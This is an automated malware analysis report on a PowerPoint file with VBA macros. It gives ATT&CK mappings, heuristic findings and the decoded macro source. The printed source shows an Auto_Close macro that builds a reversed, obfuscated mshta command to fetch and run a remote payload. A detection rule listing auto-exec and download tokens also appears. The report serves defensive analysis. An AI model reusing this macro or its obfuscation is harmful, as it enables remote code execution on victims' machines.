MALICIOUS
128
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a PowerPoint presentation containing VBA macros. The Auto_Close macro triggers a Shell execution, which attempts to download and execute a payload from the reconstructed URL "http://smth.jp\:ckpadokawad.exe". The target executable path is also obfuscated within the script.
Heuristics 4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Shell(stAppName, 1) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub Auto_Close()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 510 bytes |
SHA-256: 471cb0416b0d296bda4d0432108f5ef726a483b6eeb57fffdfa39a12c6497894 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Calculator_Click()
'%SystemRoot%\system32\calc.exe
On Error GoTo Err_Calculator_Click
Dim stAppName As String
stAppName = StrReverse("""awadadkcpaodckpao\pm.j\\:sptth"""" athsm""")
Call Shell(stAppName, 1)
Exit_Calculator_Click:
Exit Sub
Err_Calculator_Click:
MsgBox Err.Description
Resume Exit_Calculator_Click
End Sub
Attribute VB_Name = "Module2"
Sub Auto_Close()
Calculator_Click
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.